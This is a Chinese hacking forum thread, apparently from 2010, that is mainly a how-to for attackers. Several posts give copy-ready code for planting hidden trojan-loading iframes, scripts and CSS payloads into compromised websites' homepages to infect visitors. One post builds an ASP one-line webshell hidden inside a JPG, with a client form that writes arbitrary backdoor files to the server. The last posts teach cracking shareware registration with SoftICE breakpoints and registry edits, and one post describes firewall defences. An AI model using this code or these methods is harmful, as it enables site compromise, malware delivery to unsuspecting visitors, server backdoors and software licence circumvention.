切换到宽版
  • 6804阅读
  • 38回复

黑客技术 [复制链接]

上一主题 下一主题
离线游春波
 

发帖
6728
金钱
54606
贡献值
178
交易币
209
好评度
1548
家乡
广东省河源市
性别
只看楼主 倒序阅读 使用道具 楼主  发表于: 2010-04-03
网页挂马详细教程 w*-1*XNA  
其实很简单的的,说到原理,就一个:就是在人家网站的主页那里插入一个自己的网马的页面,等有漏洞的人查看了人家网站的主页,那么他就成了你的肉鸡了。。 w*-1*XNA  
下面我介绍5种方法,我一个一个介绍 w*-1*XNA  
w*-1*XNA  
方法一:这个就是最简单的了,只要你懂点html语言 w*-1*XNA  
w*-1*XNA  
把下面这段代码插进网页中: w*-1*XNA  
<iframe src="这里换成你的网马的地址" width="0" height="0" frameborder="0"></iframe> w*-1*XNA  
w*-1*XNA  
我来插入,理论上来说插到任何地方都行,只是不要把html语言给弄乱了就行 w*-1*XNA  
w*-1*XNA  
本来没有插进去的页面就是这样,不知道网易那里有没有弹出的广告了,好我们运行,注意到网页的左下角的网址变化 w*-1*XNA  
看到左下角了吧,那里在请求www.163.com,说明我们插入进去的页面也运行了,哦,还有个弹出的窗口,给我的工具拦了,我来刷新一次,看到吧 w*-1*XNA  
w*-1*XNA  
width="0" height="0" frameborder="0"就是大小高度的意思,我们把他设置为零,那我们就不能看到网页的内容了 w*-1*XNA  
w*-1*XNA  
看下一种方法,把原来插进去的清理掉先,等下那个文件还要用 w*-1*XNA  
w*-1*XNA  
w*-1*XNA  
方法二:这个就是脚本 w*-1*XNA  
w*-1*XNA  
w*-1*XNA  
<SCRIPT language=javascript>       w*-1*XNA  
window.open("http://www.xxx.com/test.htm","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");   w*-1*XNA  
</script> w*-1*XNA  
我们做网页的时候就会加入很多网页特效,同样我们也可以用来打开我们的网马,那么浏览过机子就会中我们的网马了~ w*-1*XNA  
学过java的都知道上面一段代码的意思了把!打开网站的同时也就打开了我们的http://www.xx.com/test.htm w*-1*XNA  
看我们插进去 w*-1*XNA  
弹出的窗口给拦了,我去掉先,还是给拦了 w*-1*XNA  
晕,有个窗口弹了出来,这样子的网马是不保险的……不过也不失为一种方法 w*-1*XNA  
呃~改成0就更大的窗口了,好,方法而已,只是介绍,下一个 w*-1*XNA  
w*-1*XNA  
方法三: w*-1*XNA  
还有一点就是比较隐蔽的那就是使用js文件 w*-1*XNA  
w*-1*XNA  
w*-1*XNA  
document.write("<iframe width='0' height='0' src='http://xxxxxxx.net/mm1.htm'></iframe>"); w*-1*XNA  
document.write("<iframe width='0' height='0' src='http://xxxxxxx.net/mm2.htm'></iframe>"); w*-1*XNA  
w*-1*XNA  
我们没必要挂两个网马,就写一个好了额 w*-1*XNA  
刚才写错位置了 w*-1*XNA  
保存为mm.js,然后在首页里调用js脚本 w*-1*XNA  
w*-1*XNA  
<script language="javascript" src="</script'>http://xxxxxxx.net/mm.js"></script>这个就是调用的代码,从这里我们可以看到http://xxxxxxx.net/mm.js,说明我们的mm.js文件可以不传到主机上,这样可以方便我们批量管理我们挂马,传到我们的主页空间上就可以了不过我这里就不传了,就用本地的吧,运行 w*-1*XNA  
左下角……调用了163的了,再刷新下,看清楚点,OK下一种方法 w*-1*XNA  
w*-1*XNA  
方法五: w*-1*XNA  
再一种代码就是调用其他网页的页面文件,可以将下面的代码复制,保存为HTM文件。 w*-1*XNA  
w*-1*XNA  
<frameset rows="444,0" cols="*"> w*-1*XNA  
<frame src="/index.htm" framborder="no" scrolling="auto" noresize marginwidth="0" margingheight="0"> w*-1*XNA  
<frame src="help.htm" frameborder="no" scrolling="no"     noresize marginwidth="0" margingheight="0"> w*-1*XNA  
</frameset> w*-1*XNA  
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
有志者事竟成
离线游春波

发帖
6728
金钱
54606
贡献值
178
交易币
209
好评度
1548
家乡
广东省河源市
性别
只看该作者 沙发  发表于: 2010-04-03
打开这个网页文件时显示的是index.htm的内容,而实际上还同时执行了help.htm的代码,大家可以对应 w*-1*XNA  
自己生成的木马页和想调用的网页来修改help.htm和index.htm,把它们改成你的文件名就可以了。 w*-1*XNA  
这个方法以前黑防的文章有,我就直讲运用了 w*-1*XNA  
我改代码换成其他的页面了,还是要注意页面的左下角,出错了,重来 w*-1*XNA  
看到左下角了吧,再刷新一次 w*-1*XNA  
看到了吧,只是太快就没了 w*-1*XNA  
w*-1*XNA  
再说下我们挂马的时候一般选取的页面 w*-1*XNA  
我们选取用来插马的页面一般是网站的首页 w*-1*XNA  
比如:index.htm、index.html、index.asp、index.aspx、index.php、index.cgi、index.jsp、default.htm、default.html default.asp default.aspx default.cgi default.jsp default.php等等,大家就自己记录下来吧,其他页面也可以插入,只要人家没有打上补丁 w*-1*XNA  
一:框架挂马 w*-1*XNA  
w*-1*XNA  
    <iframe src=地址 width=0 height=0></iframe> w*-1*XNA  
w*-1*XNA  
二:js文件挂马 w*-1*XNA  
   w*-1*XNA  
    首先将以下代码 w*-1*XNA  
    document.write("<iframe width='0' height='0' src='地址'></iframe>"); w*-1*XNA  
    保存为xxx.js, w*-1*XNA  
    则JS挂马代码为 w*-1*XNA  
    <script language=javascript src=xxx.js></script> w*-1*XNA  
w*-1*XNA  
三:js变形加密 w*-1*XNA  
   w*-1*XNA  
    <SCRIPT language="JScript.Encode"           src=http://www.xxx.com/muma.txt></script> w*-1*XNA  
    muma.txt可改成任意后缀 w*-1*XNA  
四:body挂马 w*-1*XNA  
w*-1*XNA  
    <body onload="window.location='地址';"></body> w*-1*XNA  
w*-1*XNA  
五:隐蔽挂马 w*-1*XNA  
w*-1*XNA  
    top.document.body.innerHTML = top.document.body.innerHTML +     '\r\n<iframe src="http://www.xxx.com/muma.htm/"></iframe>'; w*-1*XNA  
w*-1*XNA  
六:css中挂马 w*-1*XNA  
w*-1*XNA  
    body { w*-1*XNA  
    background-image: url('javascript:document.write("<script           src=http://www.XXX.net/muma.js></script>")')} w*-1*XNA  
w*-1*XNA  
七:JAJA挂马 w*-1*XNA  
w*-1*XNA  
   <SCRIPT language=javascript>       w*-1*XNA  
   window.open   ("地址","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro   llbars=no,width=1,height=1");   w*-1*XNA  
有志者事竟成
离线游春波

发帖
6728
金钱
54606
贡献值
178
交易币
209
好评度
1548
家乡
广东省河源市
性别
只看该作者 板凳  发表于: 2010-04-03
  </script> w*-1*XNA  
w*-1*XNA  
八:图片伪装 w*-1*XNA  
w*-1*XNA  
   <html> w*-1*XNA  
   <iframe src="网马地址" height=0 width=0></iframe> w*-1*XNA  
   <img src="图片地址"></center> w*-1*XNA  
   </html> w*-1*XNA  
w*-1*XNA  
九:伪装调用: w*-1*XNA  
w*-1*XNA  
    <frameset rows="444,0" cols="*"> w*-1*XNA  
    <frame src="打开网页" framborder="no" scrolling="auto" noresize     marginwidth="0"margingheight="0"> w*-1*XNA  
    <frame src="网马地址" frameborder="no" scrolling="no"    noresize     marginwidth="0"margingheight="0"> w*-1*XNA  
    </frameset> w*-1*XNA  
w*-1*XNA  
十:高级欺骗 w*-1*XNA  
w*-1*XNA  
    <a href="http://www.163.com(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_163_com(); return true;"> 页面要显示的内容 </a> w*-1*XNA  
<SCRIPT Language="JavaScript"> w*-1*XNA  
function www_163_com () w*-1*XNA  
{ w*-1*XNA  
var url="网马地址"; w*-1*XNA  
open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10"); w*-1*XNA  
} w*-1*XNA  
有志者事竟成
离线游春波

发帖
6728
金钱
54606
贡献值
178
交易币
209
好评度
1548
家乡
广东省河源市
性别
只看该作者 地板  发表于: 2010-04-03
asp图片木马制作 5QNBB|X@  
主要亮点:图片木马(可以正常打开显示的木马) 5QNBB|X@  
5QNBB|X@  
先看代码: 5QNBB|X@  
仅需几步:图片和一句话木马合并,制作可以正常显示的图片木马。 5QNBB|X@  
1、找一张美女图片,名字改成1.jpg 5QNBB|X@  
2、
  1. <%eval request("lvly")%>
存为asp.asp(就是一句话木马) 5QNBB|X@  
3、
  1. copy 1.jpg /b + asp.asp /a asp.jpg
存为0.bat文件 5QNBB|X@  
5QNBB|X@  
解释一下:复制当前目录下的1.jpg图片和当前目录下的asp.asp文件并以ASCII代码的方式合并为 asp.jpg图片,运行0.bat,就会出现一个图片asp.jpg,现在这个asp.jpg就是已经做好的木马了。 5QNBB|X@  
5QNBB|X@  
5QNBB|X@  
这个图片外表很正常,用缩略图也看不出任何破绽,但是却非常的危险,让人防不胜防。 5QNBB|X@  
用图片木马 5QNBB|X@  
上一步已经把asp一句话木马合并到了图片木马里。 5QNBB|X@  
只要我们把 5QNBB|X@  
<% #include files="asp.jpg"%> 5QNBB|X@  
这段话插到目标asp网页里面就可以用客户端连接了(一般要单独的asp文件,不然的话会出错) 5QNBB|X@  
5QNBB|X@  
客户端代码 5QNBB|X@  
[code]<html> 5QNBB|X@  
<head> 5QNBB|X@  
<title>生如夏花</title> 5QNBB|X@  
<style type="text/css"> 5QNBB|X@  
<!-- 5QNBB|X@  
body { 5QNBB|X@  
       background-color: #CCCCCC; 5QNBB|X@  
       5QNBB|X@  
} 5QNBB|X@  
.bad { 5QNBB|X@  
       border: 1px solid #000000; 5QNBB|X@  
       font-size: 12px; 5QNBB|X@  
} 5QNBB|X@  
.STYLE1 {color: #FF0000} 5QNBB|X@  
body,td,th { 5QNBB|X@  
font-size: 12px; 5QNBB|X@  
} 5QNBB|X@  
a:link { 5QNBB|X@  
color: #C8C8C8; 5QNBB|X@  
text-decoration: none; 5QNBB|X@  
} 5QNBB|X@  
a:visited { 5QNBB|X@  
text-decoration: none; 5QNBB|X@  
color: #666666; 5QNBB|X@  
} 5QNBB|X@  
a:hover { 5QNBB|X@  
text-decoration: underline; 5QNBB|X@  
} 5QNBB|X@  
a:active { 5QNBB|X@  
text-decoration: none; 5QNBB|X@  
} 5QNBB|X@  
--> 5QNBB|X@  
</style> 5QNBB|X@  
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"></head> 5QNBB|X@  
<body alink="#FFFFFF"> 5QNBB|X@  
<center> 5QNBB|X@  
<table width="627" border=1 cellspacing=2 cellpadding=2 align=center bordercolorlight=7285CF bordercolordark=7285CF height=90 bgcolor=F2F2F2> 5QNBB|X@  
   <tr bordercolor=F2F2F2 bgcolor=F2F2F2 align=center> 5QNBB|X@  
<td height="1" width="794"> 5QNBB|X@  
<form   method="post" name="pass"> 5QNBB|X@  
   <div align="right"><span class="STYLE1">服务端:</span> 5QNBB|X@  
       <input name="act" type="text" value="http://127.0.0.1/" size="84"> 5QNBB|X@  
       5QNBB|X@  
有志者事竟成
离线游春波

发帖
6728
金钱
54606
贡献值
178
交易币
209
好评度
1548
家乡
广东省河源市
性别
只看该作者 4楼 发表于: 2010-04-03
   <br> 5QNBB|X@  
actions: 5QNBB|X@  
   <input name="password" type="text" value="" size="84"> 5QNBB|X@  
   <input type="hidden" name="kgd" value="Execute("Session(""kgd"")=request(""*""):Execute(Session(""kgd""))")"> 5QNBB|X@  
5QNBB|X@  
<textarea name="*" cols="100" rows="9" width="45"> 5QNBB|X@  
set lP=server.createObject("Adodb.Stream") 5QNBB|X@  
lP.Open 5QNBB|X@  
lP.Type=2 5QNBB|X@  
lP.CharSet="gb2312" 5QNBB|X@  
lP.writetext request("asp_xiaoma") 5QNBB|X@  
lP.SaveToFile server.mappath("confirm.asp"),2 5QNBB|X@  
lP.Close 5QNBB|X@  
set lP=nothing 5QNBB|X@  
response.redirect "confirm.asp"</textarea> 5QNBB|X@  
       <br> 5QNBB|X@  
       <textarea name="asp_xiaoma" cols="100" rows="15" width="45"> 5QNBB|X@  
asp</textarea> 5QNBB|X@  
      <input type="submit" value="post" onClick="this.form.kgd.name=this.form.password.value;this.form.action=this.form.act.value;"> 5QNBB|X@  
      <br> 5QNBB|X@  
       <font color="#000000">三个服务端:</font> <br> 5QNBB|X@  
       <%eval request("<font color="red">lvly</font>")%> <br> 5QNBB|X@  
       <%execute request("<font color="red">lvly</font>")%> <br> 5QNBB|X@  
       <%execute(request("<font color="red">lvly</font>"))%> <br> 5QNBB|X@  
         5QNBB|X@  
         5QNBB|X@  
   </div> 5QNBB|X@  
   <div align="left">把红色的<font color="red">lvly</font>换成您的密码,只要用"<font color="red">eval</font>"替换掉"<font color="red">execute</font>"服务端就不会出错了!<br> 5QNBB|X@  
   <a href="http://91first.net">绿野小狼专用完美版</a> </div> 5QNBB|X@  
   </table>[/code] 5QNBB|X@  
服务端 填 你插入木马的绝对地址 应该是 http://www.xxx.com/xxx.asp 5QNBB|X@  
actions:栏目填上 lvly 5QNBB|X@  
下面的大框就填你的任意后门文件。 5QNBB|X@  
现在我做的一个木马已经放在目前的网页上了(一楼的哪个附件)。大家看看有什么错误没?没有吧,那么的正常。现在对我们的论坛是没有威胁的,不怕。。。 5QNBB|X@  
5QNBB|X@  
去年大家都还知道吧,就这样传个图片的话,一般的服务器都会被拿了 5QNBB|X@  
上面我传的哪个附件asp.jpg,如果被改成了asp.asp就生效了,现在不用怕的。但是动易06年的组件,在2003的服务器上,错误的把jpg当成了asp来解析,一旦别人传个这样的图片,他的网站就被别人装上后门了 5QNBB|X@  
有志者事竟成
离线游春波

发帖
6728
金钱
54606
贡献值
178
交易币
209
好评度
1548
家乡
广东省河源市
性别
只看该作者 5楼 发表于: 2010-04-03
Juniper防火墙防攻击举例 5QNBB|X@  
Juniper的防火墙上均配置了防30多种网络层攻击的功能,尤其是ISG系列(ISG1000和ISG2000)防火墙,具备硬件防攻击的能力,在抗攻击的同时不影响防火墙的性能。以下是两种防御机制的介绍: 5QNBB|X@  
•SYN Attack(SYN 攻击):当网络中充满了会发出无法完成的连接请求的SYN 封包,以至于网络无法再处理合法的连接请求,从而导致拒绝服务(DoS) 时,就发生了SYN 泛滥攻击。防火墙可以采用Syn Proxy和Syn Cookie两种机制进行防御,其中Syn Proxy机制里是先对数据包进行策略匹配,匹配通过的syn包如果每秒超过了阀值(阀值可以基于目的地址和端口、或目的地址、或源地址进行设置),则开启防御机制,新的syn包就由防火墙做应答syn/ack,并放入队列,等待应答ack是否超时,超时则丢弃;Syn Cookie机制则是完全无连接状态的,每秒的syn包超过阀值就开启防御机制,防火墙做syn的应答syn/ack,并在syn/ack应答里嵌入加密的cookie,如果接收到的ack里有该cookie,则是正常连接。 5QNBB|X@  
•Limit session(限制会话):NetScreen 设备可限制由单个IP 地址(源或目的)建立的会话数量。例如,如果从同一客户端发送过多的请求,就能耗尽Web 服务器上的会话资源。此选项定义了每秒钟NetScreen 设备可以为单个IP 地址建立的最大会话数量。(缺省阀值为每个IP 地址每秒128个会话。)对源地址进行回话数的限制可以避免感染Nimda等病毒的服务器发出太多的回话请求避免防火墙的回话表被填满。对目的地址进行回话数的限制则可以防止DDoS的攻击,使得目标服务器得到太多的虚假的连接请求。 5QNBB|X@  
5QNBB|X@  
5QNBB|X@  
有志者事竟成
离线游春波

发帖
6728
金钱
54606
贡献值
178
交易币
209
好评度
1548
家乡
广东省河源市
性别
只看该作者 6楼 发表于: 2010-04-03
10招教你学会破解! 5QNBB|X@  
不清除下面谈到了一些在学习解密过程中经常遇到的问题,本人根据自己的经验简单给大家谈一谈。这些问题对于初学者来说常常是很需要搞明白的,根据我自己的学习经历,如果你直接照着很多破解教程去学习的话,多半都会把自己搞得满头的雾水,因为有很多的概念要么自己不是很清楚,要么根本就不知道是怎么一回事,所以希望通过下面的讨论给大家一定的帮助: 5QNBB|X@  
5QNBB|X@  
1. 断点:所谓断点就是程序被中断的地方,这个词对于解密者来说是再熟悉不过了。那么什么又是中断呢?中断就是由于有特殊事件(中断事件)发生,计算机暂停当前的任务(即程序),转而去执行另外的任务(中断服务程序),然后再返回原先的任务继续执行。打个比方:你正在上班,突然有同学打电话告诉你他从外地坐火车过来,要你去火车站接他。然后你就向老板临时请假,赶往火车站去接同学,接着将他安顿好,随后你又返回公司继续上班,这就是一个中断过程。我们解密的过程就是等到程序去获取我们输入的注册码并准备和正确的注册码相比较的时候将它中断下来,然后我们通过分析程序,找到正确的注册码。所以我们需要为被解密的程序设置断点,在适当的时候切入程序内部,追踪到程序的注册码,从而达到crack的目的。 5QNBB|X@  
2. 领空:这是个非常重要的概念,但是也初学者是常常不明白的地方。我们在各种各样的破解文章里都能看到领空这个词,如果你搞不清楚到底程序的领空在哪里,那么你就不可能进入破解的大门。或许你也曾破解过某些软件,但那只是瞎猫碰到死老鼠而已(以前我就是这样的^_^,现在说起来都不好意思喔!)。所谓程序的领空,说白了就是程序自己的地方,也就是我们要破解的程序自己程序码所处的位置。也许你马上会问:我是在程序运行的时候设置的断点,为什么中断后不是在程序自己的空间呢?因为每个程序的编写都没有固定的模式,所以我们要在想要切入程序的时候中断程序,就必须不依赖具体的程序设置断点,也就是我们设置的断点应该是每个程序都会用到的东西。在DOS时代,基本上所有的程序都是工作在中断程序之上的,即几乎所有的DOS程序都会去调用各种中断来完成任务。但是到了WINDOWS时代,程序没有权力直接调用中断,WINDOWS系统提供了一个系统功能调用平台(API),就向DOS程序以中断程序为基础一样,WINDOWS程序以API为基础来实现和系统打交道,从而各种功能,所以WINDWOS下的软件破解其断点设置是以API函数为基础的,即当程序调用某个API函数时中断其正常运行,然后进行解密。例如在SOFTICE中设置下面的断点:bpx GetDlgItemText(获取对话框文本),当我们要破解的程序要读取输入的数据而调用GetDlgItemText时,立即被SOFTICE拦截到,从而被破解的程序停留在GetDlgItemText的程序区,而GetDlgItemText是处于WINDWOS自己管理的系统区域,如果我们擅自改掉这部分的程序代码,那就大祸临头了^_^!所以我们要从系统区域返回到被破解程序自己的地方(即程序的领空),才能对程序进行破解,至于怎样看程序的领空请看前面的SOFTICE图解。试想一下:对于每个程序都会调用的程序段,我们可能从那里找到什么有用的东西吗?(怎么样去加密是程序自己决定的,而不是调用系统功能实现的!) 5QNBB|X@  
3. API:即Application Programming Interface的简写,中文叫应用程序编程接口,是一个系统定义函数的大集合,它提供了访问操作系统特征的方法。 API包含了几百个应用程序调用的函数,这些函数执行所有必须的与操作系统相关的操作,如内存分配、向屏幕输出和创建窗口等,用户的程序通过调用API接口同WINDOWS打交道,无论什么样的应用程序,其底层最终都是通过调用各种API函数来实现各种功能的。通常API有两中基本形式:Win16和Win32。 Win16是原来的、API的16位版本,用于Windows 3.1;Win32是现在的、API的32位版本,用于Window
有志者事竟成
离线游春波

发帖
6728
金钱
54606
贡献值
178
交易币
209
好评度
1548
家乡
广东省河源市
性别
只看该作者 7楼 发表于: 2010-04-03
95/98/NT/ME/2000。Win32包括了Win16,是Win16的超集,大多数函数的名字、用法都是相同的。16位的API函数和32位的API函数的区别在于最后的一个字母,例如我们设置这样的断点:bpx GetDlgItemText、bpx GetDlgItemTextA和bpx GetDlgItemTextW,其中 GetDlgItemText是16位API函数,GetDlgItemTextA和GetDlgItemTextW是32位API函数,而GetDlgItemTextA表示函数使用单字节,GetDlgItemTextW表示函数使用双字节。现在我们破解中常用到的是Win32单字节API函数,就是和GetDlgItemTextA类似的函数,其它的两种(Win16 API和Win32双字节API函数)则比较少见。 Win32 API函数包含在动态链接库(Dynamic Link Libraries,简称DLLs)中,即包含在kernel32.dll、user32.dll、gdi32.dll和comctl32.dll中,这就是为什么我们要在softice中用exp=C:\windows\system\kernel32.dll等命令行将这些动态链接库导入softice中的原因。因为不这样做的话,我们就无法拦截到系统Win32 API函数调用了。 5QNBB|X@  
4. 关于程序中注册码的存在方式:破解过程中我们都会去找程序中将输入的注册码和正确的注册码相比较的地方,然后通过对程序的跟踪、分析找到正确的注册码。但是正确的注册码通常在程序中以两种形态存在:显式的和隐式的,对于显式存在的注册码,我们可以直接在程序所处的内存中看到它,例如你可以直接在SOFTICE的数据窗口中看到类似"297500523"这样存在的注册码(这里是随意写的),对于注册码显式存在的软件破解起来比较容易;但是有些软件的程序中并不会直接将我们输入的注册码和正确的注册码进行比较,比如有可能将注册码换算成整数、或是将注册码拆开,然后将每一位注册码分开在不同的地方逐一进行比较,或者是将我们输入的注册码进行某种变换,再用某个特殊的程序进行验证等等。总之,应用程序会采取各种不同的复杂运算方式来回避直接的注册码比较,对于这类程序,我们通常要下功夫去仔细跟踪、分析每个程序功能,找到加密算法,然后才能破解它,当然这需要一定的8086汇编编程功底和很大的耐心与精力。 5QNBB|X@  
5. 关于软件的破解方式:本人将破解方式分为两大类,即完全破解和暴力破解。所谓完全破解主要是针对那些需要输入注册码或密码等软件来说的,如果我们能通过对程序的跟踪找到正确的注册码,通过软件本身的注册功能正常注册了软件,这样的破解称之为完全破解;但如果有些软件本身没有提供注册功能,只是提供试用(DEMO),或是注册不能通过软件本身进行(例如需要获取另外一个专用的注册程序,通过INTERNET的注册等等),或者是软件本身的加密技术比较复杂,软件破解者的能力、精力、时间有限,不能直接得到正确的注册码,此时我们需要去修改软件本身的程序码,即人为改淙砑?脑诵蟹较颍?庋?钠平獬浦??┝ζ平狻? 5QNBB|X@  
6. 关于破解教程中程序代码地址问题:破解教程中都会放上一部分程序代码以帮助讲解程序的分析方法,例如下面的一段程序代码: 5QNBB|X@  
...... 5QNBB|X@  
0167:00408033 PUSH 00 5QNBB|X@  
0167:00408035 PUSH EBX 5QNBB|X@  
0167:00408036 CALL [USER32!EndDialog] 5QNBB|X@  
0167:0040803C JMP 0040812C 5QNBB|X@  
...... 5QNBB|X@  
在这里程序中的代码地址如0167:00408033,其代码段的值(即0167)有可能根据不同的电脑会有区别,不一定一模一样,但偏移值应该是固定的(即00408033不变),所以如果看到破解文章里的程序代码的地址值和自己的电脑里不一样,不要以为搞错地方了,只要你的程序代码正确就不会有问题。 5QNBB|X@  
7. 关于如何设置断点的问题:正确恰当的设置好断点对于快速有效的解密非常重要,好的断点设置可以使我们迅速找到关键的程序段,而不恰当的断点则会对解密造成不必要的精力消耗,甚至根
有志者事竟成
离线游春波

发帖
6728
金钱
54606
贡献值
178
交易币
209
好评度
1548
家乡
广东省河源市
性别
只看该作者 8楼 发表于: 2010-04-03
本就不能拦截到程序的运行。但是具体什么时候用什么断点比较合适很难说,这需要自己用经验去累积,总的说来bpx hmemcpy这个万能断点对大多数注册码方式的软件都有用,初学者不妨多试试这个断点(通常我也是用这个断点设置,懒嘛^_^,哈哈。。。)。对于那些需要暴力破解的非注册码方式的软件,通常我们应该拦截对话框(如bpx DialogBox)和消息框(如bpx MessageBox(A))等。不论对于哪一类软件,当我们设置的断点均没有效果时,可是试一下bpx lockmytask,这个断点的作用是拦截任何一个按键的动作,具体常用的一些断点设置请参考"破解常用断点设置"一文。另外,在注册码的破解中通常需要输入用户名和注册码,一般说来用户名和密码都可以随意输入,但是根据我自己的经验,很多软件对于注册码都会逐位的进行处理,假如输入"78787878"这串数字,那么在跟踪程序的时候我们就无法知道我们当时所看到的"78"倒底是哪一个"78",所以我比较喜欢用"12345678"这样的注册码输入方式,这样的话就就能知道程序是在对注册码的哪一位进行运算,同样的对于那些需要输入较长序列号的软件,输入类似"12345-67890-ABCDEF"这样的序列号较好。 不过有一点大家需要特别的注意:上面讲的注册码输入方式"12345678"是针对拦截WIN32 API函数来说的,假如有些时候直接拦截WIN32 API函数难以找到程序的突破口,而要借助于"S"指令在内存中寻找我们输入的用户名或注册码时,就最好不要采用"12345678"作为注册码,因为内存中很可能有许多的"12345678"字符串,这样我们没有办法知道倒底我们要破解的程序使用的是哪一个"12345678",所以我们应该选择一个不易和内存数据相同的注册码,比如:74747474(本人喜欢用,意思嘛:去死去死。。。哈哈哈^_^),对应的搜索指令为: S 30:0 L FFFFFFFF '74747474' 。当然,以上只是我个人的习惯而已,具体用什么样的输入形式可以根据本人的爱好、习惯来定,不必拘泥于某一固定的模式。 5QNBB|X@  
8. 关于如何跟踪程序的问题:初学者在开始学习解密的时候往往不知道怎么样去跟踪程序,怎么样找到注册码比较的地方,当面对长长的一堆程序代码时显得不知所措。通常软件的程序内部都会利用一个子程序(即 CALL ********)去验证我们输入的注册码正确与否,对于注册码显式存在的程序,一般都会将所输入的注册码和正确的注册码放进寄存器,然后调用验证子程序进行判断,将结果返回,应用程序根据子程序返回的结果决定是否注册成功,这样的程序经常具有如下的形式: 5QNBB|X@  
****:******** MOV EAX,[********]  (或 PUSH EAX等形式) 5QNBB|X@  
****:******** MOV EDX,[********]  (或 PUSH EDX等形式) 5QNBB|X@  
****:******** CALL ******** 5QNBB|X@  
****:******** TEST EAX,EAX     (或 TEST AL,AL,或是没有这一句等形式) 5QNBB|X@  
****:******** JNZ ********     (或 JZ ********等形式) 5QNBB|X@  
其中EAX和EDX指向的内存区域就是我们输入的注册码和正确的注册码,这里的寄存器EAX和EDX是随意写的,也可以是ECX,EBX,EDI,ESI等等。对于注册码隐式存在的程序,虽然不能直接看到正确的注册码,但是通常也是先将所输入的注册码地址放进某个寄存器,然后调用子程序去验证,破解时就需要进入子程序去分析注册算法。总之,看到子程序(call ********)后面跟着跳转指令(JNZ ********或JZ ********)的地方我们就应该提高警惕,多用 D EAX(或EBX、ECX、EDX、EDI、ESI...等)去看看寄存器指向的内存区域藏着什么东西。有一点大家要提醒大家:看见程序中使用下面这个函数是要注意,即GetDlgItenInt,这个API函数的作用是将输入的文本转化为整数,所以这类程序中是不会有显示存在的注册码的,因为注册码被转换为整数了,程序通常会用CMP ECX,EDX 这种类型的指令去验证注册码的正确性,这里ECX和EDX中存的就是所输入注册码和正确注册码的整数形式,此时可以用 ? edx 和 ? ecx 看到其十进制形式,即我们输入的形式。 5QNBB|X@  
9. 关于软件的反安装问题:经常我们使用某些软件时都会遇到一个问题,就是共享软件过期之后即使删掉原程序重新安装,程序依然不能用,还是一样提醒你试用期已过请注册;或者是你已经破
有志者事竟成
离线游春波

发帖
6728
金钱
54606
贡献值
178
交易币
209
好评度
1548
家乡
广东省河源市
性别
只看该作者 9楼 发表于: 2010-04-03
解了某个软件,但是还想继续研究它,但是因为软件已经注册好,没有了注册选项,这时你即使彻底删掉程序再重新安装软件,结果程序运行后还是注册过的。遇到这样的情况,其实原因很简单,因为程序将注册或过期信息存在了系统注册表里,所以简单的重新安装软件是无济于事的。解决的办法就是自己删掉注册表中有关的信息,但是因为注册表是WINDOWS系统工作的基础,如果不小心就很可能会损坏它而引起系统异常,所以如果你对注册表不是很熟的话,应该在修改之前备份一下注册表。不论是修改还是备份注册表都可以使用WINDOWS下的注册表管理工具"REGEDIT"来进行,一种办法是在"开始->运行"下输入"regedit"启动它,也可以直接点击"C:\WINDOWS\regedit.exe"来运行。大部分的应用软件都会将自己的信息存在如下的路径中:HKEY_LOCAL_MACHINE\Software、HKEY_LOCAL_MACHINE\Software\Microsoft、HKEY_CURRENT_USER\Software、HKEY_CURRENT_USER\Software\Microsoft 或 HKEY_USERS\.DEFAULT\Software下,具体是哪个地方依据不同的程序而有所不同,只要按上面的顺序肯定能找到有关应用程序的键,然后将和用户名及注册码有关的键值删掉就搞定了。 5QNBB|X@  
10. 关于破解练习的问题:学习破解需要大量的练习,对于破解目标的选择,初学者不宜以大型的、著名的软件为目标,因为这些软件通常加密较为复杂,破解不易,应该选择一些比较不出名的、小型的和早些时候的共享软件来练习,因为加密相对简单的软件有利于初学者快速掌握破解思想和技能。至于习题的来源则很广泛,可以从网上下载,也可以去市面上购买一些共享软件光盘。 5QNBB|X@  
有志者事竟成
快速回复
限100 字节
 
上一个 下一个